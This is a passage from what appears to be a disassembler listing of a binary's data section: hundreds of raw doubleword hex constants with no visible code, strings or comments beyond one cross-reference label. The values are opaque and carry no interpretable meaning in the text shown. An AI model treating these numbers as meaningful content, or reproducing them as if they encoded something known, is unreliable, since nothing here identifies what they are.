		dd 553B5F8Ah, 0BF528284h, 7C2F1D54h, 0B6685095h, 5EB54570h
		dd 0B28EEC4Dh, 11FB5417h, 56E53EC2h, 307D25C4h,	82E65F9Dh
		dd 2E4036B2h, 3D2F4DAAh, 0A0105E30h, 2882F08h, 7727B3F9h
		dd 0DC200996h, 685501D2h, 51FA16E2h, 10BA825Dh,	0D7D8BF49h
		dd 688B3249h, 60B34181h, 0D801EEFh, 22301E3Ch, 4BE79334h
		dd 9F765893h, 40BBF26h,	86B25F3Dh, 0AD14F302h, 5495354h
		dd 9344E3E6h, 0E8981AFAh, 97C5FEE5h, 75E1F0Bh, 1D112E26h
		dd 7210342Fh, 5B81C731h, 0D64FED3Bh, 6B856127h,	7754C232h
		dd 8F20934Ch, 0EE498D8h, 4C9637E0h, 29E1E5C0h, 18C177BCh
		dd 1D507BAFh, 309C47Fh,	4AD6DEDEh, 1060BCB5h, 0AB4878A5h
		dd 11868F04h, 0B914FEA8h, 319E05B7h, 3D850B22h,	4608C710h
		dd 5F5628D0h, 0E0B5E92Fh, 0EFD30181h, 0DB572EF5h, 4374AD88h
		dd 874CFDC9h, 50D6DCB5h, 80D682E9h, 0C3C7871Ch,	3E20BE56h
		dd 281798Bh, 0D24980E6h, 8743D120h, 9C7F93A2h, 5B05B087h
		dd 448952EEh, 12AF2063h, 0AFB512BAh, 1A090513h,	5A32F4B1h
		dd 0D26494DFh, 0B898BFCEh, 49E92754h, 0E97B29E2h, 0AF547425h
		dd 5C26D96Dh, 4E966841h, 0B76C322Eh, 92B6F348h,	7AC1801Ch
		dd 0F57EF11Dh, 0CDF9CCBDh, 0FF13751Eh, 6717CCE3h, 0E382A8EDh
		dd 26958429h, 862A77B1h, 0DE1CE815h, 31925E6Fh,	1B02C0BFh
		dd 9E0D95C9h, 4843A3E9h, 0F7BDA07Bh, 80D1D225h,	6E54168Ch
		dd 1E20B83Eh, 44206BFEh, 0BD8A75E9h, 0CD2D1794h, 5660FAC9h
		dd 837D82D7h, 996DC7D3h, 63F5ADF7h, 8D41846Ah, 2A1BE9C0h
		dd 0EA1913h, 0C054C4B5h, 0CDED04E4h, 0EDECE4CDh, 4C62687Dh
		dd 0F9975F31h, 0FA253C8Dh
		dd 0AC689700h, 4C25464Dh, 81D5DC5Fh, 0B3AFE158h, 90423D89h
		dd 0ACD04CAh, 0F1C228A4h, 85FA5FE1h, 0C0568E9Fh, 420886C1h
		dd 0BF570478h, 0A8F507DCh, 156D0630h, 26265D9h,	0FCF4F01Eh
		dd 6EF9F929h, 8401C743h, 3192EE53h, 67224157h, 0C329DD51h
		dd 267E627Bh, 55276A5Ch, 515BAE96h, 0A26552AAh,	0E3207AC0h
		dd 9EF095CBh, 7F68E90h,	469F017Dh, 15D7813Fh, 8E3177EEh
		dd 2EDF258Dh, 3D5D16B0h, 21ADC531h, 0EB8027C0h,	2256678h
		dd 0F6DE3A2Ah, 1C870984h, 376ECCF6h, 4D361D8h, 291B8C2Ah
		dd 422DD9D5h, 0C5D72CD5h, 0CFDA0847h, 0BDE95F12h, 0D31C2E06h
		dd 0D70B0C30h, 0C5063315h, 0CF291F6Fh, 0C4F35BE9h, 0CA2CBFB4h
		dd 8AC75BF7h, 0E2A9600Dh, 0B865BF7Ah, 815A0246h, 0A420B9CEh
		dd 7E14A5C1h, 8529CC17h, 50CA2F21h, 630E3CC2h, 2C80548h
		dd 37C7E986h, 2ECE0779h, 0B22DCF7Ah, 0D0C68B94h, 6FEA6813h
		dd 208A0C37h, 0CCAF8892h, 0EF6420FDh, 8382E12Bh, 97A90FE3h
		dd 80BB7683h, 0C59CB1CBh, 8711FAA9h, 38AC58BDh,	3DAB5A39h
		dd 0E90C8552h, 70E78AF0h, 89EEA95Fh, 0CBC7565Dh, 0AF20E6F0h
		dd 5C54A0B0h, 0F05F81C2h, 0D492A6D6h, 0D965E32Fh, 0E2364222h
		dd 2C00DB5Ah, 0D7FB046h, 74C538Ah, 0A70E923h, 675D0B01h
		dd 0E3BB0077h, 316CFB2Ch, 0CB98DF5Fh, 29E62768h, 0E4526091h
		dd 571F6981h, 3DCA5A79h, 0B8810F05h, 482C5918h,	283BC8EFh
		dd 0A8509564h, 13418C0Eh, 47CAA109h, 0D261650Ah, 7502172Fh
		dd 3BBFFDA4h, 0E2282A68h, 0DBF96F25h, 3A132C06h, 0DE303CC1h
		dd 8A40DDD6h, 0C4770205h, 0A9575043h, 0F8764C3Fh, 94C77A81h
		dd 107470CCh, 5D45B896h, 4D17B7A9h, 824C3791h, 115B311Fh
		dd 11095C93h, 0A6511Ch,	7F6A5BB9h, 0C85B3147h, 184E2AA0h
		dd 0C2BB171h, 9720332Fh, 4C13021Ch, 0A0E9536Ah,	40BF4678h
		dd 9FCDF962h, 9C9EA7Ch,	9CC07881h, 2BF6EB44h, 0E69976A7h
		dd 5E0947D6h, 0DE7C2968h, 0FBDE7A04h, 3316E401h, 7FD0BB07h
		dd 313D16FAh, 2F7540EBh, 1376936h, 0BE9DA09h, 0EE87F2ADh
		dd 53F4044h, 33B18412h,	11DE4704h, 0A0D6E6E3h, 6C17A7CCh
		dd 9B010FC0h, 6EF34089h, 0DCDFF22Bh, 327E6505h,	3CAD2980h
		dd 35155817h, 0E206F707h, 72D94750h, 8DC8B239h,	3130E6Fh
		dd 21EB2961h, 14FAB98Dh, 0B13A14CDh, 69313BD3h,	414AE0D3h
		dd 0E903FF30h, 0BD9C629Ah, 0B86BDA82h, 7B6D5754h, 2FD53E08h
		dd 38EAF2DEh, 863C0B13h, 24B3168h, 8BEC0B41h, 0DD665015h
		dd 380C7930h, 35627E01h, 4AF2CDCh, 55CE286Fh, 212D6801h
		dd 32E94A36h, 0FB53163Fh, 0D20DBE36h, 1BFC0887h, 5EE28100h
		dd 0C930AE54h, 0B198C838h, 0C7CBC121h, 0A0C05F58h, 80F065BBh
		dd 0F3817E00h, 379359C0h, 6E6227E9h, 0AF8B23F3h, 5AFEDECFh
		dd 29963679h, 59989F06h, 69E3078Fh, 604B7F4Fh, 992742CBh
		dd 626C126Fh, 701AF967h, 9EFA14Ch, 88684F85h, 0EDD8BA6Ch
		dd 0D9A29F1Dh, 945F07A3h, 0B5BA760Bh, 0E9509310h, 0D609B65Eh
		dd 2DBB6559h, 6885756Fh, 63E8092Eh, 0C7E2ABC9h,	485F7F80h
		dd 2A983359h, 68999560h, 4EBC4C94h, 5EA5F060h, 761B072Eh
		dd 0A5678A1Fh, 0B7ACD26Dh, 1F2D761Eh, 49ACFDD1h, 0F9F107A0h
		dd 0CA31E287h, 0C2FA9041h, 640379DDh, 2F08F11Dh, 0F25730F0h
		dd 635061A5h, 0D05AD021h, 8B61482Dh, 16FAC358h,	20D701F5h
		dd 0E912EB10h, 72EEFC17h, 0CA7952DDh, 41CA898Bh, 0B33ADF23h
		dd 104D79C3h, 20F94B4Dh, 0B569F479h, 295ACF38h,	3020F27Eh
		dd 6FD8B5B5h, 52230D09h, 0CCA263B1h, 868491ABh,	95E18933h
		dd 0ADDA6B6Bh, 0E4E89EC5h, 78308003h, 1CB60114h, 55500880h
		dd 7C52BD05h, 7EEC616Bh, 27F60D01h, 82570EA1h, 323C441Eh
		dd 23EC4146h, 3043896Ah, 0AB40BE42h, 25DC0BB9h,	0CD84D9Ah
		dd 89B89D30h, 27203AEDh, 82FF1D1Ah, 0D2061430h,	0FC54208Fh
		dd 0E780554Eh, 0F83B4B76h, 0AB7B54C8h, 0C0A607B2h, 378008E2h
		dd 0C2F23023h, 0EAF0CAFEh, 0EDE97812h, 0E3BC8413h, 29B03FCFh
		dd 0BA13BB54h, 0CB90EC8h, 5D14CD35h, 3B0280DEh,	0F4E96419h
		dd 806FEEAAh, 0B6620E9h, 8DE92177h, 0C78044A1h,	0D459ED04h
		dd 0C6FA86EFh, 0DAF771C5h, 7681A80h, 0DA0550B7h, 4A1E187Bh
		dd 0F85A0C73h, 58B5F67Dh, 315E9583h, 1F45A769h,	0E969FB00h
		dd 9782B507h, 35C1CF09h, 0DB639427h, 45CB0795h,	8DE0551h
		dd 0CE2D038Dh, 0BBA419BDh, 80AAB553h, 0C7210A56h, 8D05450Fh
		dd 0A0782E27h, 3F483990h, 2DF02801h, 0A2E93507h, 226D0077h
		dd 55B05FC0h, 87406998h, 60140BB8h, 0EDFA174Fh,	7F69E591h
		dd 19087F3Ah, 0ED341FF8h, 6BF3E000h, 3E66C028h,	483BB85Eh
		dd 925B57D7h, 0D1725AF7h, 4E861038h, 0E9E038FFh, 4E1EA74Bh
		dd 0CFFEEBD3h, 86F25E40h, 25C9C610h, 0EBA35BADh, 0C18BD1FEh
		dd 0AA8DC9FDh, 0FBEC983Ah, 2E416E4Fh, 650C44A0h, 0BAF5A330h
		dd 8A53B706h, 79015513h, 437020D0h, 0ED9ADF30h,	5C69B007h
		dd 0B09D047Bh, 78E38Ch,	577D226Dh, 0CB3854BFh, 0F709707Ch
		dd 58F24DBBh, 53DD04EBh, 0BF096929h, 0E00CFC21h, 1D66B624h
		dd 7187DBFh, 8C03EFC1h,	790B5D34h, 0F91931E9h, 4020936Dh
		dd 0B6BA5270h, 5B7E2C2Fh, 4F5AD718h, 2D13EDCAh,	0AAE3A5DFh
		dd 29611A9Eh, 0C409E90Ch, 0C248F163h, 55376E1h,	0ADDA40Eh
		dd 0E94177F8h, 21839D63h, 0D9F6FAE1h, 0F85E0A2Dh, 0B62C0BD5h
		dd 8E5F2B04h, 0E4E98561h, 0E168AD90h, 97E4A62Dh, 0DF69B47Eh
		dd 38849092h, 57E0121Ah, 4C3C7FA2h, 75184E4Dh, 0E2C14CF7h
		dd 0AC20AF90h, 0BBDFC02h, 0AB92D0C9h, 0AB58D304h, 647A6940h
		dd 0DF0142F7h, 0C441411h, 0B18CE985h, 5E502276h, 9BA7EFBDh
		dd 0C1FE5D29h, 0FF506A72h, 0BE93F2A2h, 1C92C156h, 86B1D2E8h
		dd 7D290231h, 0AF38A91Ch, 0A99A4823h, 0BEC7DA5h, 0CA24D695h
		dd 0E9F360FDh, 0E0A9C1CEh, 0FD88C8F7h, 275331DFh, 9FEE98D0h
		dd 0FBBD16E4h, 0A641FF21h, 65BA4A73h, 29C3802Fh, 0E59E9C7h
		dd 0E0C00368h, 75C8FE04h, 30B47E04h, 0EAC16045h, 0F53DF3A8h
		dd 2437934Dh, 0B7883AB9h, 0AF0B9D28h, 751B845Ah, 41006096h
		dd 0F726682Ch, 954840D8h, 0E9178CFAh, 4AB3353Ah, 0EF7ED2DFh
		dd 1FC53AD0h, 81643D4Bh, 4666F804h, 46B0EB3Fh, 505D1606h
		dd 2056F86Fh, 0FC294F61h, 2CAAB588h, 0AB3EEA6Ch, 0E9458433h
		dd 5291C768h, 92E002E3h, 6075822Dh, 0C9C0E76Ch,	0B000FB06h
		dd 0AA43E934h, 0D4ED47C0h, 984B2303h, 8A564F5Ah, 7FCE2DB3h
		dd 7E3194A7h, 8108F14Ch, 3B27F671h, 0E3B161C3h,	0BD7F0870h
		dd 1B25E370h, 20257A2Ah, 0C09D7AC0h, 2E334D51h,	104D1447h
		dd 86C75A8h, 12D2D6C1h,	64E419h, 13FCC201h, 0CDC0A6Fh
		dd 51E37FC6h, 41B20B26h, 0B5E2C82h, 1CD008A0h, 25024C14h
		dd 13E94825h, 6F51951Eh, 2532A43h, 0A666C617h, 0F765E609h
		dd 295E5B83h, 654810D9h, 8FEF409Bh, 20D1411Eh, 76887DCBh
		dd 0F1999368h, 39E93BEFh, 83C501E1h, 97785B46h,	0AE9A003Ch
		dd 2938FAFCh, 0E6B45EF5h, 654B0CC9h, 31803468h,	3E5EAFC3h
		dd 0DA621493h, 0FDB18556h, 532671E7h, 0E91813E7h, 69720963h
		dd 6E8C037Ah, 4A162809h, 0C1C09A9h, 6F7E50C1h, 5077F28h
		dd 3E2154CEh, 5574C07Eh, 24E93013h, 9737D6D5h, 0C3C608D2h
		dd 545C183Eh, 203BE18h,	68335F6Dh, 0C8662FADh, 5970BF00h
		dd 7CE91DA2h, 266292D9h
		dd 28B703EAh, 508F3865h, 0BD28BE4Bh, 0FCD24E0Eh, 73139E5Ch
		dd 6A5373C2h, 0BBAF57E2h, 0FDD039A9h, 16AC5F64h, 0BE92ECADh
		dd 0F23BFC29h, 0BBE90A91h, 5B131EC5h, 40479D82h, 3E03C164h
		dd 11CF6BDh, 3057AD16h,	0A1D82925h, 846FE8C2h, 2CE6E38Ch
		dd 0AF02A457h, 7717283Fh, 7B11B710h, 0FAD16150h, 61F5334Eh
		dd 4062E27Ah, 0D35BDA89h, 96C5CE40h, 4A60181Eh,	661F101h
		dd 320F6008h, 801A5865h, 0A94FE5E2h, 0F2EEA84Dh, 0DE835F7h
		dd 5E590436h, 0EEC102A2h, 0AAE25707h, 12849C0h,	80D2CA9Dh
		dd 969F414Fh, 51E9347Ah, 0B8C4C2A1h, 0EEC56DE1h, 0C98B1556h
		dd 8F94F7EAh, 84A57C58h, 53C606E0h, 313DB682h, 661559F4h
		dd 37B94076h, 32E199CDh, 16A1FC6Eh, 3964DD31h, 0AEC974BFh
		dd 0BC3E6D3Dh, 6A3D191Ah, 207FF149h, 36D60578h,	624C9F27h
		dd 0E9070218h, 0A8E6D794h, 88A845BFh, 0B31FBB09h, 42B6A7BBh
		dd 0F6C300DEh, 98230B1Bh, 0A963094Dh, 8975CDA1h, 125DCF0h
		dd 0BFE9CB21h, 9F2D3C6Ch, 30FFF844h, 69DD4B80h,	483543D1h
		dd 9C1E16AAh, 49EF3B65h, 0E2A9C4F7h, 21F19F07h,	6A9B20BCh
		dd 0F625FCBCh, 51BFE858h, 0C409CB74h, 0A20EEFFh, 5455D687h
		dd 7FF810D0h, 53BAF300h, 4B436FFBh, 68D316F7h, 0E9A18C56h
		dd 4DFD0530h, 3B10F6E5h, 0F5007419h, 16666BE2h,	3EF715E9h
		dd 1CFBA24Fh, 2CFF4E38h, 0C34EF81Fh, 0C392D0BDh, 93DED478h
		dd 1ECDC907h, 91B26240h, 8B31D102h, 6FC4ADC2h, 3CE3A55h
		dd 0B81FEE91h, 0A9131A74h, 7EBAE140h, 9736F80Dh, 0E9E298D6h
		dd 0BB947C93h, 8D077005h, 0DBDCC02Ah, 3049FC46h, 18518943h
		dd 82B3AD65h, 636A0981h, 4D5D6B8h, 0E9AC5F62h, 1D685CA0h
		dd 0E9199F9Ah, 0C3C16E56h, 7A2DDDh, 59EA88ABh, 5414C280h
		dd 3CEDB151h, 709DF0CBh, 0CB5AF0BEh, 0BBF66608h, 0BD5233B9h
		dd 0B816C8C5h, 0EFDA9079h, 817C6943h, 0FDED13B4h, 0DF548B24h
		dd 5CED9BD3h, 7705AD80h, 29E54378h, 0DEF0A25Ch,	0EB942DB2h
		dd 27B859B7h, 2DA4F490h, 261F9697h, 80EB1DE9h, 5159E480h
		dd 88E4B652h, 135CF14Ch, 75F0C4C3h, 2EB2A1C1h, 0E1932222h
		dd 0D3836C1Bh, 0D6B7CAEFh, 47077F4h, 0B9E941CDh, 1695F990h
		dd 8CAFEA8Dh, 0C55C415Fh, 0F8998534h, 6C1AB6A3h, 0DBDD2FF5h
		dd 88C66B3Dh, 0FC7E90Bh, 0EC655701h, 591DE489h,	9D65BA5Bh
		dd 9F39A259h, 1F6E53CCh, 78A8A258h, 0B95E4E9Fh,	460128B6h
		dd 344FC904h, 90AA0E7Dh, 560CE93Ch, 767FD932h, 0F90504BDh
		dd 9CEE6266h, 0B42330FEh, 2DC8F6A8h, 5628C0Eh, 7037A01Bh
		dd 2CE97212h, 0A814D710h, 0B14E4E0Eh, 0E9166FDFh, 48D9D309h
		dd 902CB05h, 315B0F51h,	30069C75h, 51C00EFFh, 19135C68h
		dd 740466D5h, 85B4B7C8h, 140E13A0h, 0CBB5A06Dh,	0D3F460Bh
		dd 1965402Eh, 1D6A2868h, 636001C5h, 0A6E94DFFh,	0A703BDEh
		dd 1333F681h, 45DFC2Dh,	8151FF98h, 81E81207h, 53D4C2B3h
		dd 0BE806ED0h, 0D9C0A1ACh, 89BCD129h, 684AFF52h, 45DE7B40h
		dd 57FE145Bh, 0BB02EA00h, 59087868h, 9D8A895Ch,	9A1752C4h
		dd 9D06210Ch, 61939B3h,	653E52EBh, 2A0A82B7h, 0AB754D50h
		dd 0B34B201Bh, 9C84C15Dh, 2D35EA05h, 49599304h,	166F41EFh
		dd 2073CE2Eh, 0EAABE361h, 0A85AAF5h, 0EA920EF9h, 35E92921h
		dd 80E0ADEh, 2D018F5Ch,	516C1E27h, 68128F36h, 0DEC8B858h
		dd 7669A73Dh, 0B2055ADAh, 57CCBEFBh, 0E2AE4A90h, 0CD257854h
		dd 1A27CAE8h, 0C25578Ch, 2456FABBh, 5B14C7ADh, 0CB10DE59h
		dd 48FF6BC6h, 80B2A316h, 3070AD68h, 50FB7695h, 85B7D1E9h
		dd 5EC14F8Fh, 8389918Dh, 0B37C0DEEh, 6884F026h,	0DB85C27h
		dd 165A6FC1h, 0D9D24017h, 5F095818h, 8B834A42h,	28BF002Ch
		dd 0B0139035h, 6EDC0417h, 1631A872h, 4542B6ACh,	0BF49825Fh
		dd 0B85DA6A0h, 0CF258BFAh, 788D85Bh, 7B556B0Dh,	6174507Dh
		dd 0BCB84C62h, 8A2A4A3Dh, 4F022368h, 0AE8ADA40h, 710161DDh
		dd 7A5658C6h, 3702DFC7h, 75AD853Dh, 0EFF3FFD3h,	172F5109h
		dd 7B7FE14Fh, 447DAECCh, 3544F50Ah, 9C04B53Ch, 9C93BE5Fh
		dd 924290E2h, 7F8CA168h, 0E9202882h, 596848C9h,	38139ABDh
		dd 0FAB5FA4h, 0A7EA57FEh, 15C8AC3h, 0AEF9538Dh,	309C2AA2h
		dd 0B7E2F8EBh, 3413D074h, 0CBD31DE2h, 0D4401052h, 0CE1DB148h
		dd 1242D26Ah, 608FC996h, 0A577FBB9h, 66E99917h,	86BC5A53h
		dd 41724505h, 0B490EB3Fh, 609D51B2h, 79286474h,	87BC966Bh
		dd 0BC1B88h, 6451AF0Dh,	2501485Eh, 2E14530Bh, 0F06C61E9h
		dd 5F785827h, 0D9CF0727h, 0B35F93B8h, 202850FDh, 3679A6F0h
		dd 0E901C009h, 1266D821h, 535DEE31h, 8668F3ECh,	4B1584BCh
		dd 2548A9FDh, 4D46F0D8h, 53899054h, 0EC4188A5h,	61AC5EB0h
		dd 0F3C6D13h, 0A5BFFF19h, 820EE7C2h, 0A245DD47h, 0EFAF8B85h
		dd 0FCFA83E4h, 820BD64Fh, 0C940544Fh, 4D60F15Ah, 0BDF78199h
		dd 0D267503Eh, 3F224CD1h, 13ED1185h, 2EC1F1C0h,	418850D8h
		dd 0BE013049h, 0B2B8F812h, 0C2623DECh, 205145F5h, 766F258Bh
		dd 205B79A2h, 0C74B6563h, 8B3754D2h, 0C90B60C5h, 4BEEB1C8h
		dd 3D604E77h, 95FCCA3Bh, 0AC44E273h, 0EC5AF2FCh, 60AB5BFEh
		dd 6AB7E964h, 8568D1C1h, 0D9E3651Eh, 5F33661Ch,	9FDCB13Ch
		dd 8F653525h, 802B700h,	3A805BFEh, 0CE8E36C6h, 0C6FCD6F6h
		dd 3CF130A0h, 17E3D549h, 0E8C1329h, 893E5FFAh, 2F3FE1D6h
		dd 0EBE0904Fh, 4FD2AF48h, 89B4CBD0h, 0E97A766Ch, 1EE006C0h
		dd 0F09746E4h, 2CED8084h, 77713306h, 7FB08B0Ch,	0C1E6E96Bh
		dd 5EF053C4h, 0F3D89FA2h, 0EE4A94E9h, 0E040CB9Dh, 4EB30A60h
		dd 72C1A08h, 9FBC660h, 0DA3D712Fh, 2FF67895h, 175C0CCBh
		dd 4F62225h, 4FE85C03h,	89233404h, 731EE427h, 29D03BF3h
		dd 60F56677h, 7B600C29h, 0E912A197h, 3AB28B14h,	0DB04F348h
		dd 0FE03B354h, 0FC61714h, 0B693ADA6h, 0EC4C6A4Eh, 2220C18h
		dd 0E90FE306h, 3AD20809h, 0B7D10420h, 0A4CF9376h, 60EFDD44h
		dd 52EF81B9h, 5FD41D12h, 85CAFFA1h, 0B0F55808h,	0AEA2566Bh
		dd 0E909712Bh, 0CFD28097h, 2BCB559h, 9825ECB9h,	7BC8F709h
		dd 0E8BFF276h, 0B7895D70h, 21565CE9h, 0B85FFA14h, 0BD1D8A6Dh
		dd 0C9FE2ABAh, 9D1CF227h, 0E961377Bh, 13842ECFh, 84B551E7h
		dd 40D885D6h, 0BF4A0564h, 3C4A8B33h, 1C18E0B2h,	0F801CBE6h
		dd 76540505h, 0CBB227E4h, 0B80BE985h, 5EAD4EEBh, 12FFA4C4h
		dd 22827524h
dword_4F0044	dd 0DFB10251h, 0BBECE163h, 3841148Ch, 4EF8239Bh, 81EE3DDh
					; DATA XREF: ___:00437A2Co
		dd 12189FE9h, 0FF14EE5Bh, 5C1F7E16h, 2ECB42DCh,	62655CA9h
		dd 8D4AF9B3h, 315EB075h, 895B24D9h, 0E8253F0Eh,	156CE0D1h
		dd 0E0B924E9h, 82B86925h, 0BF80D6CAh, 49711384h, 1EE0B0Dh
		dd 78203278h, 412D3F7Eh, 0A25C6194h, 4005E80Bh,	0E9652781h
		dd 5A0A28F4h, 1D254ABDh, 13BC3251h, 479079C2h, 5F497783h
		dd 4CC7E855h, 0ABD2313Ch, 0CB2F5831h, 81EA3D02h, 0E97DEE09h
		dd 0E22BDB05h, 2ACD4805h, 0D2B0FDA0h, 482570EAh, 20755019h
		dd 0E09F165Bh, 4B4612F3h, 0B8D88038h, 0F5012031h, 0A9F0560h
		dd 65305D47h, 0FD07A22Dh, 0C3F4C78Bh, 6217E98Bh, 17795F19h
		dd 432D551h, 2678E34Ch,	6BD96D0Ch, 0EFC60477h, 0D1A064C2h
		dd 2087A08Dh, 5F4BC511h, 8B7FF8A1h, 2F71D439h, 75A9C65Eh
		dd 295159B1h, 0AEDB91C4h, 6FC2D640h, 0F848CB4Fh, 214B4F38h
		dd 6FA068F3h, 0ABE1ACCh, 42F46AD6h, 20C107B2h, 207DBB65h
		dd 0BB235A94h, 2772B866h, 0D5F11136h, 9041FE42h, 33030E96h
		dd 7F0C164Eh, 851BE789h, 5873B18Ch, 5AD62381h, 0E72616Eh
		dd 0EF418B13h, 0D1A7F402h, 6F056B77h, 0BC09EBC1h, 3908F879h
		dd 2D0EAD66h, 5C13EC0h,	0EC550F36h, 307F5ABDh, 36F5B90h
		dd 0D11EFF09h, 508BE90Bh, 2F739D51h, 0D017FC49h, 0C7AA90E9h
		dd 0F3C249D5h, 41DE4EE2h, 0A7A16BD8h, 0F5048D7Dh, 0AF76B46Eh
		dd 8047BE1h, 6D54C0FBh,	0E93D3A87h, 16A8DBE3h, 0BA534DDEh
		dd 0EE289CFAh, 6F8CCE4Fh, 412057BEh, 0B88F45CFh, 80B02020h
		dd 0B8505B01h, 4AAC1B3Bh, 0C18C046Ah, 2680E53h,	5576744Fh
		dd 0AC9349C5h, 7688BAC5h, 0EB80005Ch, 50C328EAh, 0E91C4AB4h
		dd 0D527B116h, 71556A31h, 61AD2C39h, 6E536D7Eh,	6234EC20h
		dd 480416DAh, 0F10CB3D7h, 4F261229h, 0A34CAB12h, 0CC712EE9h
		dd 0BD09D725h, 4200CAF0h, 60D156Dh, 657463h, 7D09B22Dh
		dd 20D66826h, 62026F93h, 0C17ADD38h, 396A69B8h,	2E20F8FDh
		dd 5CE53D91h, 8E48E4BEh, 0B529B940h, 35984B78h,	885CB06Eh
		dd 0F0EE83C3h, 0C3F287Dh, 685D8BC6h, 0D128553Ah, 201C3408h
		dd 13CA514h, 0EE5B1E2Fh, 2520B908h, 0EE0C1A69h,	0F7F85004h
		dd 0C9BC1FA4h, 705C929h, 0BDF940C4h, 2D5FB647h,	2EA5895Fh
		dd 94A99DDFh, 0F0A6E912h, 253FBE16h, 0BE2BBF0Eh, 3E1317F0h
		dd 0E2E752A8h, 67948B7h, 0E77E4C80h, 2E4E5E4Ah,	3D0EEC1h
		dd 0E215E6F6h, 1B049AF6h, 314DC988h, 1C261BEh, 81AC3EF3h
		dd 7EF8F9B1h, 0D15B5733h, 0CF33128Ch, 95949AD4h, 2F6B710Eh
		dd 410B9E1h, 0F9B04236h, 3F6476E0h, 0B01699ACh,	54FAB10Bh
		dd 920472A9h, 91AD9E9h,	1578065Ch, 0C4C60473h, 0A1749830h
		dd 0D89C7F65h, 665F3868h, 6862EA5Ah, 0CA6A020Ch, 0FCEEAB57h
		dd 3877A7B1h, 97DF1EE7h, 96B9FAD9h, 740053E0h, 22777DC6h
		dd 7C91D81h, 0E971853Ah, 2F2BAC7Fh, 52FCD454h, 0B4BF48F5h
		dd 8D7BC633h, 0D632692Bh, 0FE5D0AA3h, 0F34B44A8h, 9868057Ch
		dd 48878E63h, 0CA7CFBE2h, 29764CB9h, 93734759h,	0BAD5407Eh
		dd 1F3852F0h, 570CE2BDh, 0E9E6F1E4h, 0BDED3254h, 0A7D41E1h
		dd 106C7693h, 0C10D9A67h, 2A0705EDh, 0E59228E9h, 28E82AFCh
		dd 0DCEEF517h, 0B8005F88h, 0BB8BC7E2h, 16B2105h, 0E62D6798h
		dd 707D0837h, 1B5FE979h, 578B330Bh, 0B42F6BC4h,	629776DCh
		dd 83C5D2F5h, 7BBB5B9Bh, 4F2FCE4h, 34DC7F39h, 16D38B52h
		dd 16AB595Ah, 10A7E888h, 5E253581h, 3159795Ch, 668D8FE9h
		dd 0C08CB74Eh, 285F5AD3h, 167B1B1Dh, 0DDA8B551h, 0B3064B33h
		dd 0D71EDDFFh, 0BEB9067Bh, 0E9E90169h, 0F82FD202h, 1D1FE5B4h
		dd 0CEF8C8DFh, 21A2D7ADh, 2E5A86E1h, 28FE02C4h,	9467CFCFh
		dd 8574D1FDh, 0E7E14BBAh, 53EB89DDh, 0A90516C2h, 37E918B3h
		dd 0B82D9Dh, 5B5FD409h,	29BC7E05h, 5EA1E25Ah, 57879900h
		dd 0FD3C5BE8h, 6008412Eh, 5E97C55Ah, 0FA770B9h,	681DAABAh
		dd 22276F77h, 97D858Fh,	16642400h, 8103388Ch, 0AF507ACFh
		dd 63E7B04Ah, 96DF87Dh,	0EFD1D7F7h, 0EFC5AF7Fh,	1F4E553h
		dd 2BCCBEEh, 0A2E9C589h, 794674A4h, 3ECE2E54h, 0DF9A69h
		dd 0D4E95089h, 0FE6E9D65h, 480565Ah, 0B8C34354h, 446C5F92h
		dd 0FE59EBB6h, 12D8D70Eh, 0D7A72AFCh, 7F2CDDBBh, 70F27EA0h
		dd 0B8FBBD6Eh, 0FFCE8180h, 172B3F56h, 0B121E953h, 35EC3AC6h
		dd 9BB53A1h, 0ED94E268h, 4AB14C8Eh, 9A31A4C7h, 0C2FE12Dh
		dd 0E61D83CCh, 5F81084Fh, 20288A38h, 0DC1FE90Bh, 3B1A7Dh
		dd 1A6CC7D3h, 0F929094Ch, 0DEAAEEE9h, 170D05F1h, 0C4C6C708h
		dd 0A25294D5h, 82079AA2h, 5E79E278h, 0FE246F29h, 0CA88BE55h
		dd 5FF4B55Ch, 5A0FFCC9h, 0A5BFEB45h, 7C886EBFh,	0EEBD27D5h
		dd 0CB69A55Ch, 520C4E16h, 1064CB22h, 213B32F3h,	0B8142D77h
		dd 0B07AA32Bh, 539342C1h, 0D020ACDEh, 0D277824Dh, 35480088h
		dd 21F055BBh, 0C9C2C309h, 7205E9h, 4F68F9B4h, 8E091759h
		dd 2D7275FAh, 48027752h, 0F25459CEh, 4BCA3B3Ch,	0BE5AEFB7h
		dd 6858E770h, 9C3C5E5Ah, 0F0450E89h, 0F2A5823Bh, 99CA8C60h
		dd 4B6C5A00h, 6FAEBE56h, 4920E361h, 846E17DFh, 64B00110h
		dd 6B25E714h, 9D74BC04h, 4E1050F7h, 30812CF6h, 78FD5904h
		dd 90291CE0h, 0F2DC202Fh, 32C36815h, 0F0B90275h, 6251A965h
		dd 0A23A8263h, 8105E016h, 0B290B7C7h, 61DE6C73h, 30F2CDCh
		dd 0F5AC6E4Fh, 0A8CE30FAh, 9FA71C6Fh, 0BC372402h, 5A979E7Dh
		dd 5E20B89Fh, 0C8D362ABh, 0B90478D8h, 0E08A72FEh, 0CF6393BFh
		dd 2D593EF9h, 0E957E06Fh, 66C29230h, 5301F8F7h,	50685512h
		dd 0BBF99584h, 0AD00DEDBh, 0D627A22Dh, 1FC3357Eh, 0DD2FC452h
		dd 28E6259Ah, 0C9052B31h, 0F633B3F1h, 0E148317Dh, 0C9D0310Eh
		dd 0BF08BDC2h, 8F445A3Ch, 0C4107490h, 0D04CB85Bh, 453301FFh
		dd 0F0E93F59h, 5F878964h, 1C539C0Ch, 0EA8C182h,	0C3BA4083h
		dd 0C0E43023h, 9B223438h, 2F923650h, 1B5E5478h,	7C121CBFh
		dd 0BC4230CBh, 2658FA0Eh, 66934466h, 30F5DDA0h,	96C34797h
		dd 58E85Ah, 3C6D0B91h, 0D26A6856h, 0C20713D5h, 6AC25312h
		dd 8A80537Dh, 0BF9958E9h, 402EF1DEh, 8D421475h,	0E6072576h
		dd 0C527B48h, 0CA77C6C7h, 419157D9h, 0B8842E97h, 3175B2AEh
		dd 0E7895130h, 8B25D52Ch, 5316A323h, 4884819Dh,	0C09F2C72h
		dd 4D1204E8h, 0C1F60481h, 0FB1ADC3Dh, 0CE647F4h, 5338084Ah
		dd 0FC0CEE11h, 566952C0h, 54171472h, 8A2AFF32h,	5A820BC1h
		dd 445837A7h, 90B85000h, 83766722h, 0FEFF4BE8h,	0DDEB7132h
		dd 0E9DE3129h, 0D7CEC209h, 0C8CC7744h, 0B5292F13h, 860C8950h
		dd 0C22EC50h, 347206BCh, 836BE937h, 1B2EC980h, 0D32B6F2Eh
		dd 0E50D2A1Bh, 6D42DF41h, 0D86A18F5h, 3EBE9E15h, 45F65913h
